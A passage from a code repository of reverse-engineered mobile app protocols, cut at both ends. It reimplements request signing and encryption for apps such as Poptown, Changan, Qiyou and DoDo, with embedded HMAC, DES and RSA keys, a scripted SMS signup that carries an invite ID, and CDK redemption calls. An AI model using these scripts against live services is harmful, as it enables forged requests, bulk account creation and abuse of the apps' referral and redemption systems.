"withSafetyModeUserFields": True} 30 | variables = quote_plus(json.dumps(data1)) 31 | res = http.get(f'https://twitter.com/i/api/graphql/G3KGOASz96M-Qu0nwmGXNg/UserByScreenName?variables={variables}&features={features}&fieldToggles={fieldToggles}', headers=headers).json() 32 | user = res["data"]["user"]["result"] 33 | ftInfo["friends_count"] = user["legacy"]["friends_count"] # ta关注的人数 34 | ftInfo["followers_count"] = user["legacy"]["followers_count"] # 关注ta的人数 35 | ftInfo["statuses_count"] = user["legacy"]["statuses_count"] # ta的帖子数 36 | ftInfo["favourites_count"] = user["legacy"]["favourites_count"] # ta的点赞数 37 | ftInfo["media_count"] = user["legacy"]["media_count"] # ta的媒体和照片数 38 | return ftInfo 39 | -------------------------------------------------------------------------------- /印象/main.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import DES 2 | import base64 3 | 4 | 5 | class DESCrypter(): 6 | def __init__(self, key, iv=None): 7 | self.key = key 8 | if iv: 9 | self.iv = iv 10 | else: 11 | self.iv = key 12 | self.mode = DES.MODE_CBC 13 | self.BS = len(key) 14 | self.pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS).encode() 15 | self.unpad = lambda s: s[0:-s[-1]] 16 | self.generator_en = DES.new(self.key, self.mode, self.iv) 17 | self.generator_de = DES.new(self.key, self.mode, self.iv) 18 | 19 | def encrypt(self, en_data: str): 20 | a = self.pad(en_data.encode()) 21 | b = self.generator_en.encrypt(a) 22 | c = base64.b64encode(b).decode() 23 | return c 24 | 25 | def decrypt(self, de_data): 26 | a = base64.b64decode(de_data) 27 | b = self.generator_de.decrypt(a) 28 | return self.unpad(b).decode() 29 | 30 | 31 | if __name__ == '__main__': 32 | des = DESCrypter(b'48CDABEE', b'0672DEAA') 33 | 34 | de_data = des.decrypt("klAt3PN+0fSAuAejde6To4CgGl4/YWfab+qiBZbEgu0xQQm/i28UGnoLMmNB3WOxNVenP+DbHCJr7bQrKRynwjeB6+2R7dMv+aeoMU+4OHHnA9HsANHjdeh+uDWDgcBAC8BbPsm0XYj0F/8xYvJAQO0NHzSWRvRo4EGHgWKJvmA5jHfqqNeTu7ya3kFlTjV1GyYKlvMLqPHlLiEU/4PZc84I5hErPjkM2TileNdX+0rfCcscdsssgL6aSLft15DGgOVLXaNkK0VpNENGLP5xdGzQbeohe8fXM78xLs/HJT7VkvFe1Jn5IQMNE9UwZFZQiN0Z5VlHk5lLc5lxtP90jJMejVKJbgxO0CHNk9SflG30gRaS0kp0BvyplKQrAnu9glFutRRLrzi22N/rWzRh3G3y4kD/2dfReQFx2Bmap7dtM+JYMl4lV1l61LmPtTybD7T4/r3h+nDd88DWQq6MT8tgB5QRXntFNrd4xGeBnzY/VAwzyyyC7N5hXmYrGwSmVLVcbjCmAnFhSVh1/P0bQCmeyaEEKgeUYLEePNgHMp2HO/h13JXUl8cgm8gS9ESsc3xQwfAZa1Sdtq/9lFHcvtY3BtqSznQvvR++j61NHzFdtrqORNaAVv5JS3uScGSqLgl+oHnEyGwDcwkLwhEGrAfL05Ht5zgKDjCSJEDm81pXER6BgPPH1Jz+cI4TlfmS0jiHlwU33HTxG99yjb6sBvIDMSFzPZjmhfA6kpwxjDx1rAA53HySLZYqf072fSBc5iWLu09Ff9SNoh+ytMn6AnidefyD0H71CNLwHpYZ1Ywh0VOp4w/1A1ZxNIn4Fldfa2a8NayPvuawbP157aqfFfM74SHnjVZ4doqGG8iifXQmBpjN/ddgZjPsrSJJqeC1u5xN5SrDrTZ30PjJ3j47TiJiQo+Lu230RD8P9IsyT1OYx62mUXgrPxOkw1XUomzPXtqeGSkV+LPsp/1pJug9J7d4lBVirOceNtophzI/xM43Fqth0hPTVAi/Himdbd1r4ykRR873fZzh+t5uZ/MCIRXpTacF6E9nOPk2x7l/h99juRklK6+8jsqftWjna807WxUtozQQLZJYUbE4vQwO447HdIBvheO5fjugfF7ThjtUftK169uTZ7unBFtL0N3xZc3Nvm905J+ccoilnF5OVJoDn6Ll6f6lpZ7DdVC01hGTtwEeOYsyiX0MAC6D150NBDfN9SdbEUYiPIbG30rgad/pUhfAdBjDFo8yShIoWf0jiOgZUcT6rGkns0fZKGx6EotvmO9EyJn8eL6kPY3x86+oz6OgkAqE/YUK5bztXpl6OFtcva1XzpI9RmXAfzwgmKjXPiJXgWdkJf8FNHARJqAnLpEX8KG/tdK+JONyDlgaoBUtGW+lkaLwSQIkBgfbaFnWW+dAplWyMWaDzIkS7le3vnxg6QB1WakhgsgGiR3m10LdV3JXqdLMUJfoHhl6ownur+tehYYab/xi8pzTbjdJClrvG+iVt4QV+FAUpEGGFmbeW69eRJwTT5ha2OF06PYuODBJkDsW/MpGdx/Wih2WJHmIjLDO1/y4DGa5Y1px4FLraFiZxVnBNayGcJKlvFxbZ6YW8jGR+LXF1WRmINLL2yLBpl40mtWcjW6LMfQW9NIOTkP516UJtQUSFcZF0G+1+uSVNQVU03MThq7pFb08onOAngUxO7qqnxtO4rXbmNDz9PF2Hyh/Ufaf5n3GT/E08T0vLkM=") 35 | print(de_data) 36 | -------------------------------------------------------------------------------- /poptown/signup.py: -------------------------------------------------------------------------------- 1 | # encoding=utf-8 2 | import requests as http 3 | import random 4 | import time 5 | import base64 6 | 7 | from Crypto.PublicKey import RSA 8 | from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKC 9 | 10 | key = """-----BEGIN PUBLIC KEY----- 11 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArmmQqZGhnufKLU2EqGjUSccBGRfuf99m 12 | ZlctQCa0/w4sIs2drFp5ZN1VWVHxLNhBbYw9Rc34C3wIQ0HXJKpJy9NBDqsjtRQFLr4Qel4xBVxD 13 | 3I4qDzGLjac16Z5nG9EwqIIJ2Dwsa+xPHgHwwWEz12e7l0g4U/LGmHAtGeG2p8dwJKBQwOdkFcP0 14 | IiVlfZPXzVuPyOflNsagoxNpBMoSBhz51eRtZ/yl12er/yzVcxlMPBDy3MVMD1pmHtOJEqDWhy0o 15 | uUwA7L8P6hlVyBBSmMhpeFf03Nid86uWM9wGkzspIimCOz0URRsxHOnWlsrtR7hSON14789ABACA 16 | sRe7nQIDAQAB 17 | -----END PUBLIC KEY-----""" 18 | 19 | rsa_key = RSA.import_key(key) 20 | cipher_rsa = Cipher_PKC.new(rsa_key) 21 | 22 | 23 | def encrypt(plaintext): 24 | en_data = cipher_rsa.encrypt(plaintext.encode("utf-8")) 25 | base64_text = base64.b64encode(en_data) 26 | return base64_text.decode() 27 | 28 | 29 | def randDevice_id(): 30 | ranstr = '0123456789abcde' 31 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 32 | return returnStr 33 | 34 | 35 | def sendMsg(phone, device_id): 36 | headers = { 37 | "app_channel": "official", 38 | "device_mac": "", 39 | "app_version": "1.0.3", 40 | "device_id": device_id, 41 | "device_imei": "", 42 | "os_version": "Android_11", 43 | "package_name": "com.client.poptown", 44 | "app_system": "android11", 45 | "device_type": "2", 46 | "Accept-Language": "zh-CN" 47 | } 48 | tt = str(int(time.time()*1000)) 49 | data = { 50 | "phone": phone, 51 | "rsa_code": encrypt(tt) 52 | } 53 | res = http.post("https://app.poptown.club/account/phone/captcha", json=data, headers=headers).json() 54 | print(res) 55 | if res["status"] != 200: 56 | return None 57 | else: 58 | return True 59 | 60 | 61 | def signup(phone, yzm, device_id): 62 | headers = { 63 | "app_channel": "official", 64 | "device_mac": "", 65 | "app_version": "1.0.3", 66 | "device_id": device_id, 67 | "device_imei": "", 68 | "os_version": "Android_11", 69 | "package_name": "com.client.poptown", 70 | "app_system": "android11", 71 | "device_type": "2", 72 | "Accept-Language": "zh-CN" 73 | } 74 | data = { 75 | "inviteeChannel": "poptown", 76 | "code": yzm, 77 | "inviteeUid": invite, 78 | "phone": phone, 79 | "loginType": "sms" 80 | } 81 | res = http.post(f"https://app.poptown.club/account/login", json=data, headers=headers).json() 82 | print(phone, yzm) 83 | 84 | 85 | def main(): 86 | device_id = randDevice_id() 87 | 88 | phone = input("请输入手机号:") 89 | # 发送验证码 已注册拉黑 90 | sendstatus = sendMsg(phone, device_id) 91 | print(sendstatus) 92 | 93 | code = input("请输入验证码:") 94 | # 注册 95 | signup(phone, code, device_id) 96 | 97 | 98 | if __name__ == "__main__": 99 | invite = "" 100 | main() 101 | -------------------------------------------------------------------------------- /长安汽车/server.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import random 3 | import time 4 | import hashlib 5 | from Crypto.PublicKey import RSA 6 | from Crypto.Cipher import PKCS1_v1_5, AES 7 | from flask import Flask, request 8 | 9 | app = Flask(__name__) 10 | 11 | key_map = [["a", "Q"], ["b", "U"], ["c", "P"], ["d", "A"], ["e", "L"], ["f", "Z"], ["g", "M"], ["h", "T"], ["i", "G"], ["j", "B"], ["k", "W"], ["l", "O"], ["m", "K"], ["n", "S"], ["o", "N"], ["p", "X"], ["q", "E"], ["r", "Y"], ["s", "J"], ["t", "I"], ["u", "D"], ["v", "C"], ["w", "R"], ["x", "F"], ["y", "H"], ["z", "V"], ["A", "s"], ["B", "k"], ["C", "d"], ["D", "a"], ["E", "f"], ["F", "g"], ["G", "j"], ["H", "h"], ["I", "l"], ["J", "q"], ["K", "z"], ["L", "x"], ["M", "w"], ["N", "m"], ["O", "p"], ["P", "e"], ["Q", "c"], ["R", "o"], ["S", "n"], ["T", "i"], ["U", "r"], ["V", "v"], ["W", "b"], ["X", "t"], ["Y", "y"], ["Z", "u"]] 12 | 13 | key = """-----BEGIN PUBLIC KEY----- 14 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh6TftQYoCDVhRrjCRSvc 15 | r2zGxZambFtnIJ8Ju1f466DI0YRMIxndXsTcVU/tt6C45fwKW+nwNWMvCucrWjzx 16 | 2iJU3S4N0QtNz9a7+TtkKHyTgE3sLtylrJuJKHHotMapi5o6t/D31G2OhsTx3QVu 17 | H3piwVpvDptkWEeh8Fj814GzEt4ID5HSMW/kLKnIU0fL0+JF4/3jJBfEAcIgk22Y 18 | jvltaooSnYxe+8LipD2KA8I5OyqJWH80scuBHMd2jj4kAcX27rdurPocp7LAn7kh 19 | pNV0QJMxEm617Ka+Kyo7kJyget5HfpLeqWmsZX5ISYYBOXcvI2tlGnsWViq+kZBL 20 | vQIDAQAB 21 | -----END PUBLIC KEY-----""" 22 | 23 | 24 | rsa_key = RSA.import_key(key) 25 | cipher_rsa = PKCS1_v1_5.new(rsa_key) 26 | 27 | BLOCK_SIZE = AES.block_size 28 | 29 | 30 | def pad(s): return s + (BLOCK_SIZE - len(s.encode()) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s.encode()) % BLOCK_SIZE) 31 | 32 | 33 | def encrypt_rsa(plaintext): 34 | en_data = cipher_rsa.encrypt(plaintext.encode("utf-8")) 35 | base64_text = base64.b64encode(en_data) 36 | return base64_text.decode() 37 | 38 | 39 | def md5(str): 40 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 41 | 42 | 43 | def encrypt_aes(text, keys, iv): 44 | text = pad(text).encode("utf8") 45 | cipher = AES.new(keys.encode("utf8"), AES.MODE_CBC, iv) 46 | encrypted_text = cipher.encrypt(text) 47 | return base64.b64encode(encrypted_text).decode('utf8') 48 | 49 | 50 | def rand_code(code_len=3): 51 | all_char = 'qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJIKOLP' 52 | indexs = len(all_char) - 1 53 | code = '' 54 | for _ in range(code_len): 55 | num = random.randint(0, indexs) 56 | code += all_char[num] 57 | return code 58 | 59 | 60 | def key_mapp(parm): 61 | result = "" 62 | for ii in parm: 63 | for i in key_map: 64 | if ii == i[0]: 65 | result += i[1] 66 | return result 67 | 68 | 69 | def main(data): 70 | print(data) 71 | tt = str(int(time.time()*1000)) 72 | randcode = rand_code() 73 | rand_key_aes = "{}{}".format(int(tt)-2, randcode) 74 | rand_key_rsa = "{}{}".format(int(tt)-2, key_mapp(randcode)) 75 | 76 | paramEncr = encrypt_aes(data, rand_key_aes, bytes(rand_key_aes, encoding="utf8")) 77 | sign = md5('{}{}hyzh-unistar-5KWJKH291IvadR'.format('{"paramEncr":"' + paramEncr+'"}', tt)).upper() 78 | seccode = encrypt_rsa(rand_key_rsa) 79 | return tt, sign, paramEncr, seccode 80 | 81 | 82 | @app.post('/uni') 83 | def uni(): 84 | data = request.get_json() 85 | print(data["data"]) 86 | 87 | tt, sign, paramEncr, seccode = main(data["data"]) 88 | 89 | res = {"tt": tt, "sign": sign, "paramEncr": paramEncr, "seccode": seccode} 90 | return res 91 | 92 | 93 | if __name__ == '__main__': 94 | app.run(host="0.0.0.0", port=9999) 95 | -------------------------------------------------------------------------------- /奇游/main.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import hashlib 3 | import hmac 4 | import random 5 | import time 6 | import uuid 7 | from datetime import datetime 8 | 9 | import requests 10 | 11 | 12 | def md5(str): 13 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 14 | 15 | 16 | def randStr(num=16): 17 | ranstr = '0123456789abcde' 18 | returnStr = ''.join(random.choice(ranstr) for _ in range(num)) 19 | return returnStr 20 | 21 | 22 | def toData(msg): 23 | a_list = msg.split("&") 24 | data = {} 25 | for i in a_list: 26 | c = i.split("=") 27 | data[c[0]] = c[1] 28 | return data 29 | 30 | 31 | def hmac_sha256(key, msg): 32 | hmac_code = hmac.new(key.encode(), msg.encode(), hashlib.sha256) 33 | return base64.b64encode(hmac_code.digest()).decode() 34 | 35 | 36 | def postData(url, data): 37 | tt = str(int(time.time()*1000)) 38 | datet = datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') 39 | nonce = str(uuid.uuid4()) 40 | url_after = url.replace("https://apifast.qiyou.cn", "") 41 | msg = f'''POST 42 | application/json; charset=utf-8 43 | 44 | application/x-www-form-urlencoded; charset=utf-8 45 | {datet} 46 | x-ca-key:25825871 47 | x-ca-nonce:{nonce} 48 | x-ca-timestamp:{tt} 49 | {url_after}?{data}'''.replace(" ", "") 50 | sign = hmac_sha256("5c0f74c173370422fbe7254977bf2081", msg) 51 | # print(sign) 52 | 53 | devid = randStr(16) 54 | rands = randStr(8) 55 | date_tom = datetime.now().strftime("%Y%m%d%H%M%S") 56 | trace_id = f"{date_tom}-{md5(devid)}-{rands}-{random.randint(9000,9999)}-0000-00" 57 | 58 | headers = { 59 | "date": datet, 60 | "x-ca-signature": sign, 61 | "cookie": "session=7f2eb632-af90-4a03-ba23-a12fe8070a2f", 62 | "x-ca-nonce": nonce, 63 | "x-ca-key": "25825871", 64 | "ca_version": "1", 65 | "accept": "application/json; charset=utf-8", 66 | "trace-id": trace_id, 67 | "x-ca-timestamp": tt, 68 | "x-ca-signature-headers": "x-ca-nonce,x-ca-timestamp,x-ca-key", 69 | "user-agent": f"Mi 12/android/12/QEEYOU/accelerator/3.1.3/{devid}", 70 | "content-type": "application/x-www-form-urlencoded; charset=utf-8" 71 | } 72 | res = requests.post(url, data=toData(data), headers=headers).json() 73 | print(res) 74 | 75 | 76 | def exchange_cdk(token, cdk_key): 77 | tt = str(int(time.time()*1000)) 78 | nonce = str(uuid.uuid4()) 79 | devid = randStr(16) 80 | msg = f'''POST 81 | application/json; charset=utf-8 82 | 83 | application/x-www-form-urlencoded; charset=UTF-8 84 | 85 | login-credential:{token} 86 | x-ca-key:203709035 87 | x-ca-nonce:{nonce} 88 | x-ca-stage:RELEASE 89 | x-ca-timestamp:{tt} 90 | /api/common_bll/v1/members/cdk/exchange?cdk_key={cdk_key}'''.replace(" ", "") 91 | sign = hmac_sha256("75vlseo89af3ip6cc8vvlxee9pcxg6a3", msg) 92 | # print(sign) 93 | 94 | headers = { 95 | "accept": "application/json; charset=utf-8", 96 | "content-type": "application/x-www-form-urlencoded; charset=UTF-8", 97 | "user-agent": f"Mi 12/android/12/QEEYOU/accelerator/3.1.3/{devid}", 98 | "login-credential": token, 99 | "x-ca-key": "203709035", 100 | "x-ca-nonce": nonce, 101 | "x-ca-signature": sign, 102 | "x-ca-signature-headers": "login-credential,x-ca-key,x-ca-nonce,x-ca-stage,x-ca-timestamp", 103 | "x-ca-stage": "RELEASE", 104 | "x-ca-timestamp": tt 105 | } 106 | res = requests.post("https://api.qiyou.cn/api/common_bll/v1/members/cdk/exchange", data={"cdk_key": cdk_key}, headers=headers).json() 107 | print(res) 108 | 109 | 110 | # postData("https://apifast.qiyou.cn/api/common_bll/v1/sms_captcha", "mobile=18888888888") 111 | # postData("https://apifast.qiyou.cn/api/common_bll/v2/action/captcha_login", "sms_code=333333&access_code=&referral_code=&mobile=18888888888&channel_id=761") 112 | exchange_cdk("token", "QY1618") 113 | -------------------------------------------------------------------------------- /印象/index.js: -------------------------------------------------------------------------------- 1 | function nn(e, t) { 2 | for (var a = 0; a < t.length - 2; a += 3) { 3 | var o = t.charAt(a + 2); 4 | o = o >= "a" ? o.charCodeAt(0) - 87 : Number(o), 5 | o = "+" === t.charAt(a + 1) ? e >>> o : e << o, 6 | e = "+" === t.charAt(a) ? e + o & 4294967295 : e ^ o 7 | } 8 | return e 9 | } 10 | function sign(e) { 11 | var t = "320305.131321201" 12 | , o = e.match(/[\uD800-\uDBFF][\uDC00-\uDFFF]/g); 13 | if (null === o) { 14 | var i = e.length; 15 | i > 30 && (e = "" + e.substr(0, 10) + e.substr(Math.floor(i / 2) - 5, 10) + e.substr(-10, 10)) 16 | } else { 17 | for (var n = e.split(/[\uD800-\uDBFF][\uDC00-\uDFFF]/), r = 0, s = n.length, c = []; s > r; r++) 18 | "" !== n[r] && c.push.apply(c, a(n[r].split(""))), 19 | r !== s - 1 && c.push(o[r]); 20 | var l = c.length; 21 | l > 30 && (e = c.slice(0, 10).join("") + c.slice(Math.floor(l / 2) - 5, Math.floor(l / 2) + 5).join("") + c.slice(-10).join("")) 22 | } 23 | var u = void 0 24 | , d = "" + String.fromCharCode(103) + String.fromCharCode(116) + String.fromCharCode(107); 25 | u = null !== t ? t : (t = window[d] || "") || ""; 26 | for (var f = u.split("."), g = Number(f[0]) || 0, p = Number(f[1]) || 0, v = [], m = 0, b = 0; b < e.length; b++) { 27 | var h = e.charCodeAt(b); 28 | 128 > h ? v[m++] = h : (2048 > h ? v[m++] = h >> 6 | 192 : (55296 === (64512 & h) && b + 1 < e.length && 56320 === (64512 & e.charCodeAt(b + 1)) ? (h = 65536 + ((1023 & h) << 10) + (1023 & e.charCodeAt(++b)), 29 | v[m++] = h >> 18 | 240, 30 | v[m++] = h >> 12 & 63 | 128) : v[m++] = h >> 12 | 224, 31 | v[m++] = h >> 6 & 63 | 128), 32 | v[m++] = 63 & h | 128) 33 | } 34 | for (var w = g, A = "" + String.fromCharCode(43) + String.fromCharCode(45) + String.fromCharCode(97) + String.fromCharCode(94) + String.fromCharCode(43) + String.fromCharCode(54), k = "" + String.fromCharCode(43) + String.fromCharCode(45) + String.fromCharCode(51) + String.fromCharCode(94) + String.fromCharCode(43) + String.fromCharCode(98) + String.fromCharCode(43) + String.fromCharCode(45) + String.fromCharCode(102), x = 0; x < v.length; x++) 35 | w += v[x], 36 | w = nn(w, A); 37 | return w = nn(w, k), 38 | w ^= p, 39 | 0 > w && (w = 2147483648 + (2147483647 & w)), 40 | w %= 1e6, 41 | w.toString() + "." + (w ^ g) 42 | } 43 | 44 | console.log(sign("klAt3PN+0fSAuAejde6To4CgGl4/YWfab+qiBZbEgu0xQQm/i28UGnoLMmNB3WOxNVenP+DbHCJr7bQrKRynwjeB6+2R7dMv+aeoMU+4OHHnA9HsANHjdeh+uDWDgcBAC8BbPsm0XYj0F/8xYvJAQO0NHzSWRvRo4EGHgWKJvmA5jHfqqNeTu7ya3kFlTjV1GyYKlvMLqPHlLiEU/4PZc84I5hErPjkM2TileNdX+0rfCcscdsssgL6aSLft15DGgOVLXaNkK0VpNENGLP5xdGzQbeohe8fXM78xLs/HJT7VkvFe1Jn5IQMNE9UwZFZQiN0Z5VlHk5lLc5lxtP90jJMejVKJbgxO0CHNk9SflG30gRaS0kp0BvyplKQrAnu9glFutRRLrzi22N/rWzRh3G3y4kD/2dfReQFx2Bmap7dtM+JYMl4lV1l61LmPtTybD7T4/r3h+nDd88DWQq6MT8tgB5QRXntFNrd4xGeBnzY/VAwzyyyC7N5hXmYrGwSmVLVcbjCmAnFhSVh1/P0bQCmeyaEEKgeUYLEePNgHMp2HO/h13JXUl8cgm8gS9ESsc3xQwfAZa1Sdtq/9lFHcvtY3BtqSznQvvR++j61NHzFdtrqORNaAVv5JS3uScGSqLgl+oHnEyGwDcwkLwhEGrAfL05Ht5zgKDjCSJEDm81pXER6BgPPH1Jz+cI4TlfmS0jiHlwU33HTxG99yjb6sBvIDMSFzPZjmhfA6kpwxjDx1rAA53HySLZYqf072fSBc5iWLu09Ff9SNoh+ytMn6AnidefyD0H71CNLwHpYZ1Ywh0VOp4w/1A1ZxNIn4Fldfa2a8NayPvuawbP157aqfFfM74SHnjVZ4doqGG8iifXQmBpjN/ddgZjPsrSJJqeC1u5xN5SrDrTZ30PjJ3j47TiJiQo+Lu230RD8P9IsyT1OYx62mUXgrPxOkw1XUomzPXtqeGSkV+LPsp/1pJug9J7d4lBVirOceNtophzI/xM43Fqth0hPTVAi/Himdbd1r4ykRR873fZzh+t5uZ/MCIRXpTacF6E9nOPk2x7l/h99juRklK6+8jsqftWjna807WxUtozQQLZJYUbE4vQwO447HdIBvheO5fjugfF7ThjtUftK169uTZ7unBFtL0N3xZc3Nvm905J+ccoilnF5OVJoDn6Ll6f6lpZ7DdVC01hGTtwEeOYsyiX0MAC6D150NBDfN9SdbEUYiPIbG30rgad/pUhfAdBjDFo8yShIoWf0jiOgZUcT6rGkns0fZKGx6EotvmO9EyJn8eL6kPY3x86+oz6OgkAqE/YUK5bztXpl6OFtcva1XzpI9RmXAfzwgmKjXPiJXgWdkJf8FNHARJqAnLpEX8KG/tdK+JONyDlgaoBUtGW+lkaLwSQIkBgfbaFnWW+dAplWyMWaDzIkS7le3vnxg6QB1WakhgsgGiR3m10LdV3JXqdLMUJfoHhl6ownur+tehYYab/xi8pzTbjdJClrvG+iVt4QV+FAUpEGGFmbeW69eRJwTT5ha2OF06PYuODBJkDsW/MpGdx/Wih2WJHmIjLDO1/y4DGa5Y1px4FLraFiZxVnBNayGcJKlvFxbZ6YW8jGR+LXF1WRmINLL2yLBpl40mtWcjW6LMfQW9NIOTkP516UJtQUSFcZF0G+1+uSVNQVU03MThq7pFb08onOAngUxO7qqnxtO4rXbmNDz9PF2Hyh/Ufaf5n3GT/E08T0vLkM=")); -------------------------------------------------------------------------------- /塞波尔/index.js: -------------------------------------------------------------------------------- 1 | class e { 2 | static encrypt(t) { 3 | let r = []; 4 | for (var n = 0; n < t.length; n++) { 5 | const e = t.charCodeAt(n); 6 | e < 128 ? r.push(e) : e > 127 && e < 2048 ? (r.push(e >> 6 | 192), r.push(63 & e | 128)) : (r.push(e >> 12 | 224), r.push(e >> 6 & 63 | 128), r.push(63 & e | 128)) 7 | } 8 | return h(e.rc4(r)) 9 | } 10 | static decrypt(t) { 11 | const r = a(t), 12 | n = e.rc4(r); 13 | let c = "", 14 | o = 0, 15 | s = 0, 16 | u = 0, 17 | h = 0; 18 | for (; o < n.length;) s = n[o], 19 | s < 128 ? (c += String.fromCharCode(s), o++) : s > 194 && s < 224 ? (u = n[o + 1], c += String.fromCharCode((31 & s) << 6 | 63 & u), o += 2) : (u = n[o + 1], h = n[o + 2], c += String.fromCharCode((15 & s) << 12 | (63 & u) << 6 | 63 & h), o += 3); 20 | return c 21 | } 22 | static rc4(t) { 23 | let r = [], 24 | n = 0, 25 | c = 0, 26 | o = []; 27 | for (let t = 0; t < 256; t++) r[t] = t; 28 | for (let t = 0; t < 256; t++) n = (n + r[t] + e.k.charCodeAt(t % e.k.length)) % 256, 29 | c = r[t], 30 | r[t] = r[n], 31 | r[n] = c; 32 | let s = 0, 33 | a = 0; 34 | for (let e = 0; e < t.length; e++) s = (s + 1) % 256, 35 | a = (a + r[s]) % 256, 36 | c = r[s], 37 | r[s] = r[a], 38 | r[a] = c, 39 | o.push(t[e] ^ r[(r[s] + r[a]) % 256]); 40 | return o 41 | } 42 | } 43 | e.k = "wn8zhuVXTbhs", 44 | e.kn = "wn8z2huVX5Tbhs", 45 | e.c = "wn8zh56uVXTbhs"; 46 | let n = [], 47 | c = []; 48 | const o = "undefined" != typeof Uint8Array ? Uint8Array : Array, 49 | s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 50 | for (let t = 0, r = s.length; t < r; ++t) n[t] = s[t], 51 | c[s.charCodeAt(t)] = t; 52 | function a(t) { 53 | let r, 54 | e = function (t) { 55 | const r = t.length; 56 | if (r % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4"); 57 | let e = t.indexOf("="); 58 | return - 1 === e && (e = r), 59 | [e, e === r ? 0 : 4 - e % 4] 60 | }(t), 61 | n = e[0], 62 | s = e[1], 63 | a = new o(function (t, r, e) { 64 | return 3 * (r + e) / 4 - e 65 | }(0, n, s)), 66 | u = 0, 67 | h = s > 0 ? n - 4 : n, 68 | i = 0; 69 | for (i = 0; i < h; i += 4) r = c[t.charCodeAt(i)] << 18 | c[t.charCodeAt(i + 1)] << 12 | c[t.charCodeAt(i + 2)] << 6 | c[t.charCodeAt(i + 3)], 70 | a[u++] = r >> 16 & 255, 71 | a[u++] = r >> 8 & 255, 72 | a[u++] = 255 & r; 73 | return 2 === s && (r = c[t.charCodeAt(i)] << 2 | c[t.charCodeAt(i + 1)] >> 4, a[u++] = 255 & r), 74 | 1 === s && (r = c[t.charCodeAt(i)] << 10 | c[t.charCodeAt(i + 1)] << 4 | c[t.charCodeAt(i + 2)] >> 2, a[u++] = r >> 8 & 255, a[u++] = 255 & r), 75 | a 76 | } 77 | function u(t, r, e) { 78 | let c, 79 | o = []; 80 | for (let a = r; a < e; a += 3) c = (t[a] << 16 & 16711680) + (t[a + 1] << 8 & 65280) + (255 & t[a + 2]), 81 | o.push(n[(s = c) >> 18 & 63] + n[s >> 12 & 63] + n[s >> 6 & 63] + n[63 & s]); 82 | var s; 83 | return o.join("") 84 | } 85 | function h(t) { 86 | let r, 87 | e = t.length, 88 | c = e % 3, 89 | o = [], 90 | s = 16383; 91 | for (let r = 0, n = e - c; r < n; r += s) o.push(u(t, r, r + s > n ? n : r + s)); 92 | return 1 === c ? (r = t[e - 1], o.push(n[r >> 2] + n[r << 4 & 63] + "==")) : 2 === c && (r = (t[e - 2] << 8) + t[e - 1], o.push(n[r >> 10] + n[r >> 4 & 63] + n[r << 2 & 63] + "=")), 93 | o.join("") 94 | } 95 | c["-".charCodeAt(0)] = 62; 96 | c["_".charCodeAt(0)] = 63; 97 | 98 | // decrypt,encrypt 99 | console.log(e.decrypt('wIAULjCm12v4vesGJM9qHItTiJGDQJiNC/ONGoejIfNG/Pm1wL+ma4CHtIznAYeJE2gWtC0U0RRB+v8RyCsRYQ0AyP9J7/02BgiFI93Wy2x/rkwkX5QjEHOR8OoixKvl0W2+EAmRXzHJBYkQEGCJDMpxBIRKfcO4YQG8ySKpljYxWYVO12jdf+CTK/8Wh8VRoA+9i54PHiR3i4B5bIC6AlttvTiL/xXwI/oCNa6BD4v/Frd5Kq9ChFN5l0RfysIKqBcnSP0BSIoBMbAzQ+mo3wvSiWSznJCbcUpCrQ2ZBEBihJNWKKQn9ci+PVkQ7IucGoBmGlsNcMsTuQ39cJeoX44LiV4hyVwh1fRjsw0aZeORTdzInvfLwOeUVc4fIgjwxjK08s3qKov+pVz5FDRrh3osviMV8vmdBi+/ok1xC4ut3gwgLEaYHB1fd7nKCSX7TpicDJuZ2HneC6tWfW5NobNqaB4Rp+pwy/eI5hQ6oh6+4ScOCf3txBPt7n3CCwLz2tamf+8fwrHZRdAm9dfHOnIM9K0iSlLL6DYcONtndmF+hWVp1sL346yMQIhM9t4q')); -------------------------------------------------------------------------------- /dodo/app协议.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import hmac 3 | import random 4 | import time 5 | import os 6 | from concurrent.futures import ThreadPoolExecutor 7 | from hashlib import sha1 8 | from urllib.parse import unquote 9 | 10 | import requests 11 | 12 | http = requests.Session() 13 | 14 | 15 | def ec(func): 16 | def warp(*args): 17 | try: 18 | return func(*args) 19 | except BaseException: 20 | return warp(*args) 21 | return warp 22 | 23 | 24 | def hamc_sha1(message): 25 | key = "8rsMx2wfLgPI8DXGKP8cLOLZ1hsErlQY3tMBzdmU".encode() 26 | result = hmac.new(key, message.encode(), sha1).digest() 27 | _sig = base64.b64encode(result).decode() 28 | return _sig 29 | 30 | 31 | def toData(msg): 32 | sign = hamc_sha1(unquote(msg)) 33 | a_list = msg.split("&") 34 | data = {} 35 | for i in a_list: 36 | c = i.split("=") 37 | data[c[0]] = c[1] 38 | data["sig"] = sign 39 | return data 40 | 41 | 42 | def custom_time(timestamp): 43 | time_local = time.localtime(timestamp) 44 | dt = time.strftime("%Y-%m-%d %H:%M:%S", time_local) 45 | return dt 46 | 47 | 48 | def getHeaders(): 49 | headers = { 50 | "deviceid": "", 51 | "clienttype": "2", 52 | "apptype": "3", 53 | "clientversion": "4.5.5.02", 54 | "clientbuild": "405050002", 55 | "marketchannel": "official", 56 | "packagename": "com.dodolive.app", 57 | "user-agent": "" 58 | } 59 | return headers 60 | 61 | 62 | def update(token, uid, a, b): 63 | r"""更换名字头像""" 64 | tt = int(time.time()*1000) 65 | data = toData('accountJson={"backgroundUrl":"","regionStatus":1,"province":"","avatarUrl":"'+a+'","city":"","nickName":"'+b+'","sex":'+str(random.randint(-1, 